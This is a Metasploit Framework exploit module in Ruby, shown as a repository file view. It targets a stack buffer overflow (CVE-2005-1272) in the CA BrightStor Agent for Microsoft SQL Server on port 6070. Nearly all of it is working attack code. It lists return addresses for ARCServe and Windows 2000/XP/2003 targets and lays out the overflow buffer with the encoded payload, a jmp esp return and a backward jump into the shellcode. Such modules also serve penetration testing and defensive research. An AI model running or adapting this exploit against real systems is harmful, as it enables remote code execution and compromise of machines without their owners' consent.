root / modules / exploits / windows / brightstor / sql_agent.rb @ master
History | View | Annotate | Download (3.2 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = AverageRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::Tcp |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'CA BrightStor Agent for Microsoft SQL Overflow', |
| 22 |
'Description' => %q{ |
| 23 |
This module exploits a vulnerability in the CA BrightStor |
| 24 |
Agent for Microsoft SQL Server. This vulnerability was |
| 25 |
discovered by cybertronic[at]gmx.net. |
| 26 |
},
|
| 27 |
'Author' => [ 'hdm' ], |
| 28 |
'License' => MSF_LICENSE, |
| 29 |
'Version' => '$Revision$', |
| 30 |
'References' =>
|
| 31 |
[ |
| 32 |
[ 'CVE', '2005-1272'], |
| 33 |
[ 'OSVDB', '18501' ], |
| 34 |
[ 'BID', '14453'], |
| 35 |
[ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'], |
| 36 |
[ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'], |
| 37 |
], |
| 38 |
'Privileged' => true, |
| 39 |
'Payload' =>
|
| 40 |
{
|
| 41 |
'Space' => 1000, |
| 42 |
'BadChars' => "\x00", |
| 43 |
'StackAdjustment' => -3500, |
| 44 |
}, |
| 45 |
'Targets' =>
|
| 46 |
[ |
| 47 |
# This exploit requires a jmp esp for return
|
| 48 |
['ARCServe 11.0 Asbrdcst.dll 12/12/2003', { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp |
| 49 |
['ARCServe 11.1 Asbrdcst.dll 07/21/2004', { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret |
| 50 |
['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret |
| 51 |
|
| 52 |
# Generic jmp esp's
|
| 53 |
['Windows 2000 SP0-SP3 English', { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp |
| 54 |
['Windows 2000 SP4 English', { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp |
| 55 |
['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret |
| 56 |
['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret |
| 57 |
['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret |
| 58 |
['Windows 2003 SP1 English', { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret |
| 59 |
], |
| 60 |
'DisclosureDate' => 'Aug 02 2005', |
| 61 |
'DefaultTarget' => 0)) |
| 62 |
|
| 63 |
register_options( |
| 64 |
[ |
| 65 |
Opt::RPORT(6070) |
| 66 |
], self.class)
|
| 67 |
end
|
| 68 |
|
| 69 |
|
| 70 |
def exploit |
| 71 |
|
| 72 |
print_status("Trying target #{target.name}...")
|
| 73 |
|
| 74 |
# The 'one line' request does not work against Windows 2003
|
| 75 |
1.upto(5) { |i| |
| 76 |
|
| 77 |
# Flush some memory
|
| 78 |
connect |
| 79 |
begin
|
| 80 |
sock.put("\xff" * 0x12000) |
| 81 |
sock.get_once |
| 82 |
rescue
|
| 83 |
end
|
| 84 |
disconnect |
| 85 |
|
| 86 |
|
| 87 |
# 3288 bytes max
|
| 88 |
# 696 == good data (1228 bytes contiguous) @ 0293f5e0
|
| 89 |
# 3168 == return address
|
| 90 |
# 3172 == esp @ 0293ff8c (2476 from good data)
|
| 91 |
|
| 92 |
buf = rand_text_english(3288, payload_badchars)
|
| 93 |
buf[ 696, payload.encoded.length ] = payload.encoded
|
| 94 |
buf[3168, 4] = [target.ret].pack('V') # jmp esp |
| 95 |
buf[3172, 5] = "\xe9\x4f\xf6\xff\xff" # jmp -2476 |
| 96 |
|
| 97 |
connect |
| 98 |
begin
|
| 99 |
sock.put(buf) |
| 100 |
sock.get_once |
| 101 |
rescue
|
| 102 |
end
|
| 103 |
|
| 104 |
handler |
| 105 |
disconnect |
| 106 |
} |
| 107 |
end
|
| 108 |
|
| 109 |
end
|